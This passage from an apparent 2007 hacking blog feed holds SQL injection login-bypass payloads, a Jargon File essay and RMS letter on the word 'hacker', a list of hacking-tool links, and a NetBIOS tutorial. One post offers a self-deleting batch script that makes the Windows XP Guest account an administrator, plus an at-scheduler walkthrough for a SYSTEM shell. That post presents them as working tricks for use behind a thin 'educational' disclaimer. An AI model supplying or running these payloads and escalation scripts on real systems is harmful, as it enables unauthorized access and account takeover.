('a'='a&lt;br /&gt;&lt;br /&gt;") or ("a"="a&lt;br /&gt;&lt;br /&gt;hi" or "a"="a&lt;br /&gt;&lt;br /&gt;hi" or 1=1 --&lt;br /&gt;&lt;br /&gt;hi' or 1=1 --&lt;br /&gt;&lt;br /&gt;hi' or 'a'='a&lt;br /&gt;&lt;br /&gt;hi') or ('a'='a&lt;br /&gt;&lt;br /&gt;hi") or ("a"="a&lt;br /&gt;&lt;br /&gt;happy hunting&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*******************************************&lt;br /&gt;&lt;br /&gt;WARNING: the information provided is for educationally purposes only and not to be used for malicious use. i hold no responsibility&lt;br /&gt;for your actions...do the right thing and let admins know ay&lt;br /&gt;&lt;br /&gt;******************************************&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-7495616845969935450?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/7495616845969935450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=7495616845969935450' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7495616845969935450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7495616845969935450'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/11/sql-injection-basic-tutorial.html' title='SQL injection  Basic Tutorial'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-6231059029924688049</id><published>2007-10-27T09:40:00.000-07:00</published><updated>2007-10-27T09:52:07.859-07:00</updated><title type='text'>Helping Hacker Culture Grow</title><content type='html'>If you enjoyed the Jargon File, please help the culture that created it grow and flourish. Here are several ways you can help:&lt;br /&gt;&lt;br /&gt;* If you are a writer or journalist, don't say or write hacker when you mean cracker. If you work with writers or journalists, educate them on this issue and push them to do the right thing. If you catch a newspaper or magazine abusing the work `hacker', write them and straigten them out (this appendix includes a model letter).&lt;br /&gt;&lt;br /&gt;* If you're a techie or computer hobbyist, get involved with one of the free Unixes. Toss out that lame Microsoft OS, or confine it to one disk partition and put Linux or FreeBSD or NetBSD on the other one. And the next time your friend or boss is thinking about some commercial software `solution' that costs more than it's worth, be ready to blow the competition away with free software running over i free Unix.&lt;br /&gt;&lt;br /&gt;* Contribute to organizations like the Free Software Foundation that promote the production of high-quality free software. You can reach the Free Software Foundation at gnu@prep.ai.mit.edu, by phone at +1-617-542-5942, or by snail-mail at 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.&lt;br /&gt;&lt;br /&gt;* Support the League for Programming Freedom, which opposes over-broad software patents that constantly threaten to blow up in hackers' faces, preventing them from developing innovative software for tomorrow's needs. You can reach the League for Programming Freedom at lpf@uunet.uu.net. by phone at +1 617 621 7084, or by snail-mail at 1 Kendall Square #143, P.O.Box 9171, Cambridge, Massachusetts 02139 USA.&lt;br /&gt;&lt;br /&gt;* If you do nothing else, please help fight government attempts to seize political control of Internet content and restrict strong cryptography. As TNHD III went to press, the so-called `Communications Decency Act' had just been declared "unconstitutional on its face" by a Federal court, but the government is expected to appeal. If it's still law when you read this, please join the effort by the Citizens' Internet Empowerment Coalition lawsuit to have the CDA quashed or repealed. Surf to the Center for Democracy and technology's home page at http://www.cdt.org to see what you can do to help fight censorship of the net.&lt;br /&gt;&lt;br /&gt;Here's the text of a letter RMS wrote to the Wall Street Journal to complain about their policy of using "hacker" only in a pejorative sense. We hear that most major newspapers have the same policy. If you'd like to help change this situation, send your favorite newspaper the same letter -- or, better yet, write your own letter.&lt;br /&gt;&lt;br /&gt;    Dear Editor:&lt;br /&gt;&lt;br /&gt;    This letter is not meant for publication, although you can publish it if you wish. It is meant specifically for you, the editor, not the public.&lt;br /&gt;&lt;br /&gt;    I am a hacker. That is to say, I enjoy playing with computers -- working with, learning about, and writing clever computer programs. I am not a cracker; I don't make a practice of breaking computer security.&lt;br /&gt;&lt;br /&gt;    There's nothing shameful about the hacking I do. But when I tell people I am a hacker, people think I'm admitting something naughty -- because newspapers such as yours misuse the word "hacker", giving the impression that it means "security breaker" and nothing else. You are giving hackers a bad name.&lt;br /&gt;&lt;br /&gt;    The saddest thing is that this problem is perpetuated deliberately. Your reporters know the difference between "hacker" and "security breaker". They know how to make the distinction, but you don't let them! You insist on using "hacker" pejoratively. When reporters try to use another word, you change it. When reporters try to explain the other meanings, you cut it.&lt;br /&gt;&lt;br /&gt;    Of course, you have a reason. You say that readers have become used to your insulting usage of "hacker", so that you cannot change it now. Well, you can't undo past mistakes today; but that is no excuse to repeat them tomorrow.&lt;br /&gt;&lt;br /&gt;    If I were what you call a "hacker", at this point I would threaten to crack your computer and crash it. But I am a hacker, not a cracker. I don't do that kind of thing! I have enough computers to play with at home and at work; I don't need yours. Besides, it's not my way to respond to insults with violence. My response is this letter.&lt;br /&gt;&lt;br /&gt;    You owe hackers an apology; but more than that, you owe us ordinary respect.&lt;br /&gt;&lt;br /&gt;    Sincerely, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-6231059029924688049?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/6231059029924688049/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=6231059029924688049' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6231059029924688049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6231059029924688049'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/10/helping-hacker-culture-grow.html' title='Helping Hacker Culture Grow'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-3363006833076995999</id><published>2007-09-03T03:09:00.000-07:00</published><updated>2007-09-03T03:16:00.650-07:00</updated><title type='text'>some links</title><content type='html'>http://www.showmyip.com/&lt;br /&gt;http://sainathgupta-hacking.blogspot.com/&lt;br /&gt;http://www.securitytaskforce.org/&lt;br /&gt;http://www.blackhat.com/&lt;br /&gt;http://www.blackhat.com/html/bh-usa-06/bh-usa-06-speakers.html&lt;br /&gt;http://www.nag.co.in/ncise.htm&lt;br /&gt;http://www.wtcs.org/snmp4tpc/freeware.htm&lt;br /&gt;http://www.wireshark.org/&lt;br /&gt;http://www.grc.com/default.htm&lt;br /&gt;http://www.thinkdigit.com/index.php?action=pro_how_to&amp;prodid=679&lt;br /&gt;http://www.snort.org/&lt;br /&gt;http://prasadswork.blogspot.com/&lt;br /&gt;http://crack0hack.wetpaint.com/?t=anon&lt;br /&gt;http://www.discoverhacking.c-o.in/&lt;br /&gt;http://crack0hack.wetpaint.com/page/Best+Hacking+Softwares_+1000sw%28Free+download%29&lt;br /&gt;http://www.remote-exploit.org/backtrack_download.html&lt;br /&gt;http://crack0hack.wetpaint.com/rss2_0/pageReport/created?t=anon&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-3363006833076995999?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/3363006833076995999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=3363006833076995999' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/3363006833076995999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/3363006833076995999'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/09/some-links.html' title='some links'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-4363649795138827096</id><published>2007-08-30T01:26:00.000-07:00</published><updated>2007-08-30T01:39:34.873-07:00</updated><title type='text'>Hack admin from xp guest account(Thats possible )</title><content type='html'>Well thats possible ..&lt;br /&gt;Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.&lt;br /&gt;HaCk "GUEST" with Admin privileges........&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;echo off&lt;br /&gt;title Please wait...&lt;br /&gt;cls&lt;br /&gt;net user add Username Password /add&lt;br /&gt;net user localgroup Administrators Username /add&lt;br /&gt;net user Guest 420 /active:yes&lt;br /&gt;net localgroup Guests Guest /DELETE&lt;br /&gt;net localgroup Administrators Guest /add&lt;br /&gt;del %0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copy this to notepad and save the file as "Guest2admin.bat"&lt;br /&gt;then u can double click the file to execute or run in the cmd.&lt;br /&gt;it works...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Cheers ~&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    * Haking "admin" from "user" mode n more&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;really that is possible !&lt;br /&gt;&lt;br /&gt;u know why is it a "user" account because it lacks come service layer than that in "administrator" account&lt;br /&gt;&lt;br /&gt;Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.&lt;br /&gt;&lt;br /&gt;Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).&lt;br /&gt;&lt;br /&gt;The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager&lt;br /&gt;&lt;br /&gt;Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can trick the system into running a program, script, or batch file with system level privileges.&lt;br /&gt;&lt;br /&gt;One sample&lt;br /&gt;&lt;br /&gt;One trick is to use a vulnerability in Windows long filename support.&lt;br /&gt;Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.&lt;br /&gt;&lt;br /&gt;Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                        Quote:&lt;br /&gt;&lt;br /&gt;In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.&lt;br /&gt;Getting SYSTEM&lt;br /&gt;I will now walk you through the process of obtaining SYSTEM privileges.&lt;br /&gt;To start, lets open up a command prompt (Start &gt; Run &gt; cmd &gt; [ENTER]).&lt;br /&gt;At the prompt, enter the following command, then press [ENTER]:&lt;br /&gt;Code:&lt;br /&gt;at&lt;br /&gt;&lt;br /&gt;If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;at 15:25 /interactive “cmd.exe”&lt;br /&gt;&lt;br /&gt;Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:&lt;br /&gt;&lt;br /&gt;When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:&lt;br /&gt;&lt;br /&gt;You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.&lt;br /&gt;At the system command prompt, enter in the following:&lt;br /&gt;&lt;br /&gt;    Code:&lt;br /&gt;    explorer.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoom):&lt;br /&gt;&lt;br /&gt;System user name on start menu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;explorer.exe running under SYSTEM&lt;br /&gt;&lt;br /&gt;What to do now&lt;br /&gt;Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ADMINISTRATOR IN WELCOME SCREEN.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.&lt;br /&gt;First you must ensure that the Administrator Account is enabled:&lt;br /&gt;1 open Control Panel&lt;br /&gt;2 open Administrative Tools&lt;br /&gt;3 open Local Security Policy&lt;br /&gt;4 expand Local Policies&lt;br /&gt;5 click on Security Options&lt;br /&gt;6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.&lt;br /&gt;1 open Control Panel&lt;br /&gt;2 open User Accounts&lt;br /&gt;3 click Change the way users log on or log off&lt;br /&gt;4 untick Use the Welcome Screen&lt;br /&gt;5 click Apply Options&lt;br /&gt;You will now be able to log on to Windows XP as Administrator in Normal Mode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Start the Registry Editor Go to:&lt;br /&gt;HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \&lt;br /&gt;Right-click an empty space in the right pane and select New &gt; DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.&lt;br /&gt;&lt;br /&gt;Enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-4363649795138827096?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/4363649795138827096/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=4363649795138827096' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4363649795138827096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4363649795138827096'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/hack-admin-from-xp-guest-accountthats.html' title='Hack admin from xp guest account(Thats possible )'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-7059414753035178232</id><published>2007-08-27T08:28:00.000-07:00</published><updated>2007-08-27T08:29:05.167-07:00</updated><title type='text'>NetBios Basic Tutorial !</title><content type='html'>I bet u wanna try ur hands on Ethical Hacking but unaware of Basic NetBios, which stands as a very important aspect. n dis is d best explanation i can offer u, written in much simpler language.&lt;br /&gt;~cheers~&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Preface to NetBIOS&lt;br /&gt;&lt;br /&gt;Before you begin reading this section, understand that this section was written for the novice to the concept of NetBIOS, but - it also contains information the veteran might find educational. I am prefacing this so that I do not get e-mail like "Why did you start your NetBIOS section off so basic?" - Simple, its written for people that may be coming from an enviroment that does not use NetBIOS, so they would need me to start with basics, thanks.&lt;br /&gt;&lt;br /&gt;Whats is NetBIOS?&lt;br /&gt;&lt;br /&gt;NetBIOS (Network Basic Input/Output System) was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. Since its creation, NetBIOS has become the basis for many other networking applications. In its strictest sense, NetBIOS is an interface specification for accessing networking services.&lt;br /&gt;&lt;br /&gt;NetBIOS, a layer of software developed to link a network operating system with specific hardware, was originally designed as THE network controller for IBM's Network LAN. NetBIOS has now been extended to allow programs written using the NetBIOS interface to operate on the IBM token ring architecture. NetBIOS has since been adopted as an industry standard and now, it is common to refer to NetBIOS-compatible LANs.&lt;br /&gt;&lt;br /&gt;It offers network applications a set of "hooks" to carry out inter-application communication and data transfer. In a basic sense, NetBIOS allows applications to talk to the network. Its intention is to isolate application programs from any type of hardware dependancies. It also spares software developers the task of developing network error recovery and low level message addressing or routing. The use of the NetBIOS interface does alot of this work for them.&lt;br /&gt;&lt;br /&gt;NetBIOS standardizes the interface between applications and a LANs operating capabilities. With this, it can be specified to which levels of the OSI model the application can write to, making the application transportable to other networks. In a NetBIOS LAN environment, computers are known on the system by a name. Each computer on the network has a permanent name that is programmed in various different ways. These names will be discussed in more detail below.&lt;br /&gt;&lt;br /&gt;PC's on a NetBIOS LAN communicate either by establishing a session or by using NetBIOS datagram or broadcast methods. Sessions allow for a larger message to be sent and handle error detection and correction. The communication is on a one-to-one basis. Datagram and broadcast methods allow one computer to communicate with several other computers at the same time, but are limited in message size. There is no error detection or correction using these datagram or broadcast methods. However, datagram communication allows for communication without having to establish a session.&lt;br /&gt;&lt;br /&gt;All communication in these environments are presented to NetBIOS in a format called Network Control Blocks (NCB). The allocation of these blocks in memory is dependant on the user program. These NCB's are divided into fields, these are reserved for input and output respectively.&lt;br /&gt;&lt;br /&gt;NetBIOS is a very common protocol used in todays environments. NetBIOS is supported on Ethernet, TokenRing, and IBM PC Networks. In its original induction, it was defined as only an interface between the application and the network adapter. Since then, transport like functions have been added to NetBIOS, making it more functional over time.&lt;br /&gt;&lt;br /&gt;In NetBIOS, connection (TCP) oriented and connectionless (UDP) communication are both supported. It supports both broadcasts and multicasting and supports three distinct services: Naming, Session, and Datagram.&lt;br /&gt;&lt;br /&gt;NetBIOS Names&lt;br /&gt;&lt;br /&gt;NetBIOS names are used to identify resources on a network. Applications use these names to start and end sessions. You can configure a single machine with multiple applications, each of which has a unique NetBIOS name. Each PC that supports an application also has a NetBIOS station name that is user defined or that NetBIOS derives by internal means.&lt;br /&gt;&lt;br /&gt;NetBIOS can consist of up to 16 alphanumeric characters. The combination of characters must be unique within the entire source routing network. Before a PC that uses NetBIOS can fully function on a network, that PC must register their NetBIOS name.&lt;br /&gt;&lt;br /&gt;When a client becomes active, the client advertises their name. A client is considered to be registered when it can successfully advertise itself without any other client claiming it has the same name. The steps of the registration process is as follows:&lt;br /&gt;&lt;br /&gt;1. Upon boot up, the client broadcasts itself and its NetBIOS information anywhere from 6 to 10 to ensure every other client on the network receives the information.&lt;br /&gt;&lt;br /&gt;2. If another client on the network already has the name, that NetBIOS client issues its own broadcast to indicate that the name is in use. The client who is trying to register the already in use name, stop all attempts to register that name.&lt;br /&gt;&lt;br /&gt;3. If no other client on the network objects to the name registration, the client will finish the registration process.&lt;br /&gt;&lt;br /&gt;There are two types of names in a NetBIOS enviroment: Unique and Group. A unique name must be unique across the network. A group name does not have to be unique and all processes that have a given group name belong to the group. Each NetBIOS node maintains a table of all names currently owned by that node.&lt;br /&gt;&lt;br /&gt;The NetBIOS naming convention allows for 16 characters in a NetBIOS name. Microsoft, however, limits these names to 15 characters and uses the 16th character as a NetBIOS suffix. A NetBIOS suffix is used by Microsoft Networking software to indentify the functionality installed or the registered device or service.&lt;br /&gt;&lt;br /&gt;[QuickNote: SMB and NBT (NetBIOS over TCP/IP work very closely together and both use ports 137, 138, 139. Port 137 is NetBIOS name UDP. Port 138 is NetBIOS datagram UDP. Port 139 is NetBIOS session TCP. For further information on NetBIOS, read the paper at the rhino9 website listed above]&lt;br /&gt;&lt;br /&gt;The following is a table of NetBIOS suffixes currently used by Microsoft WindowsNT. These suffixes are displayed in hexadecimal format.&lt;br /&gt;&lt;br /&gt;Name Number Type Usage&lt;br /&gt;==========================================================================&lt;br /&gt;&lt;computername&gt; 00 U Workstation Service&lt;br /&gt;&lt;computername&gt; 01 U Messenger Service&lt;br /&gt;&lt;\\_MSBROWSE_&gt; 01 G Master Browser&lt;br /&gt;&lt;computername&gt; 03 U Messenger Service&lt;br /&gt;&lt;computername&gt; 06 U RAS Server Service&lt;br /&gt;&lt;computername&gt; 1F U NetDDE Service&lt;br /&gt;&lt;computername&gt; 20 U File Server Service&lt;br /&gt;&lt;computername&gt; 21 U RAS Client Service&lt;br /&gt;&lt;computername&gt; 22 U Exchange Interchange&lt;br /&gt;&lt;computername&gt; 23 U Exchange Store&lt;br /&gt;&lt;computername&gt; 24 U Exchange Directory&lt;br /&gt;&lt;computername&gt; 30 U Modem Sharing Server Service&lt;br /&gt;&lt;computername&gt; 31 U Modem Sharing Client Service&lt;br /&gt;&lt;computername&gt; 43 U SMS Client Remote Control&lt;br /&gt;&lt;computername&gt; 44 U SMS Admin Remote Control Tool&lt;br /&gt;&lt;computername&gt; 45 U SMS Client Remote Chat&lt;br /&gt;&lt;computername&gt; 46 U SMS Client Remote Transfer&lt;br /&gt;&lt;computername&gt; 4C U DEC Pathworks TCPIP Service&lt;br /&gt;&lt;computername&gt; 52 U DEC Pathworks TCPIP Service&lt;br /&gt;&lt;computername&gt; 87 U Exchange MTA&lt;br /&gt;&lt;computername&gt; 6A U Exchange IMC&lt;br /&gt;&lt;computername&gt; BE U Network Monitor Agent&lt;br /&gt;&lt;computername&gt; BF U Network Monitor Apps&lt;br /&gt;&lt;username&gt; 03 U Messenger Service&lt;br /&gt;&lt;domain&gt; 00 G Domain Name&lt;br /&gt;&lt;domain&gt; 1B U Domain Master Browser&lt;br /&gt;&lt;domain&gt; 1C G Domain Controllers&lt;br /&gt;&lt;domain&gt; 1D U Master Browser&lt;br /&gt;&lt;domain&gt; 1E G Browser Service Elections&lt;br /&gt;&lt;INet~Services&gt; 1C G Internet Information Server&lt;br /&gt;&lt;IS~Computer_name&gt; 00 U Internet Information Server&lt;br /&gt;&lt;computername&gt; [2B] U Lotus Notes Server&lt;br /&gt;IRISMULTICAST [2F] G Lotus Notes&lt;br /&gt;IRISNAMESERVER [33] G Lotus Notes&lt;br /&gt;Forte_$ND800ZA [20] U DCA Irmalan Gateway Service&lt;br /&gt;&lt;br /&gt;Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurrences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.&lt;br /&gt;&lt;br /&gt;Group (G): A normal group; the single name may exist with many IP addresses.&lt;br /&gt;&lt;br /&gt;Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.&lt;br /&gt;&lt;br /&gt;Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.&lt;br /&gt;&lt;br /&gt;Domain Name (D): New in NT 4.0&lt;br /&gt;&lt;br /&gt;For a quick and dirty look at a servers registered NetBIOS names and services, issue the following NBTSTAT command:&lt;br /&gt;&lt;br /&gt;nbtstat -A [ipaddress]&lt;br /&gt;nbtstat -a [host]&lt;br /&gt;&lt;br /&gt;NetBIOS Sessions&lt;br /&gt;&lt;br /&gt;The NetBIOS session service provides a connection-oriented, reliable, full-duplex message service to a user process. NetBIOS requires one process to be the client and the other to be the server. NetBIOS session establishment requires a preordained cooperation between the two stations. One application must have issued a Listen command when another application issues a Call command. The Listen command references a name in its NetBIOS name table (or WINS server), and also the remote name an application must use to qualify as a session partner. If the receiver (listener) is not already listening, the Call will be unsuccessful. If the call is successful, each application receives notification of session establishment with the session-id. The Send and Receive commands the transfer data. At the end of a session, either application can issue a Hang-Up command. There is no real flow control for the session service because it is assumed a LAN is fast enough to carry the required traffic.&lt;br /&gt;&lt;br /&gt;NetBIOS Datagrams&lt;br /&gt;&lt;br /&gt;Datagrams can be sent to a specific name, sent to all members of a group, or broadcast to the entire LAN. As with other datagram services, the NetBIOS datagrams are connectionless and unreliable. The Send_Datagram command requires the caller to specify the name of the destination. If the destination is a group name, then every member of the group receives the datagram. The caller of the Receive_Datagram command must specify the local name for which it wants to receive datagrams. The Receive_Datagram command also returns the name of the sender, in addition to the actual datagram data. If NetBIOS receives a datagram, but there are no Receive_Datagram commands pending, then the datagram is discarded.&lt;br /&gt;&lt;br /&gt;The Send_Broadcast_Datagram command sends the message to every NetBIOS system on the local network. When a broadcast datagram is received by a NetBIOS node, every process that has issued a Receive_Broadcast_Datagram command receives the datagram. If none of these commands are outstanding when the broadcast datagram is received, the datagram is discarded.&lt;br /&gt;&lt;br /&gt;NetBIOS enables an application to establish a session with another device and lets the network redirector and transaction protocols pass a request to and from another machine. NetBIOS does not actually manipulate the data. The NetBIOS specification defines an interface to the network protocol used to reach those services, not the protocol itself. Historically, has been paired with a network protocol called NetBEUI (network extended user interface). The association of the interface and the protocol has sometimes caused confusion, but the two are different.&lt;br /&gt;&lt;br /&gt;Network protocols always provide at least one method for locating and connecting to a particular service on a network. This is usually accomplished by converting a node or service name to a network address (name resolution). NetBIOS service names must be resolved to an IP address before connections can be established with TCP/IP. Most NetBIOS implementations for TCP/IP accomplish name address resolution by using either broadcast or LMHOSTS files. In a Microsoft enviroment, you would probably also use a NetBIOS Namer Server known as WINS.&lt;br /&gt;&lt;br /&gt;NetBEUI Explained&lt;br /&gt;&lt;br /&gt;NetBEUI is an enhanced version of the NetBIOS protocol used by network operating systems. It formalizes the transport frame that was never standardized in NetBIOS and adds additional functions. The transport layer driver frequently used by Microsofts LAN Manager. NetBEUI implements the OSI LLC2 protocol. NetBEUI is the original PC networking protocol and interface designed by IBM for the LanManger Server. This protocol was later adopted by Microsoft for their networking products. It specifies the way that higher level software sends and receives messages over the NetBIOS frame protocol. This protocol runs over the standard 802.2 data-link protocol layer.&lt;br /&gt;&lt;br /&gt;NetBIOS Scopes&lt;br /&gt;&lt;br /&gt;A NetBIOS Scope ID provides an extended naming service for the NetBIOS over TCP/IP (Known as NBT) module. The primary purpose of a NetBIOS scope ID is to isolate NetBIOS traffic on a single network to only those nodes with the same NetBIOS scope ID. The NetBIOS scope ID is a character string that is appended to the NetBIOS name. The NetBIOS scope ID on two hosts must match, or the two hosts will not be able to communicate. The NetBIOS Scope ID also allows computers to use the same computer namee as they have different scope IDs. The Scope ID becomes a part of the NetBIOS name, making the name unique.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-7059414753035178232?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/7059414753035178232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=7059414753035178232' title='1 Comments'/><link rel='edit' type='application/atom+xml' 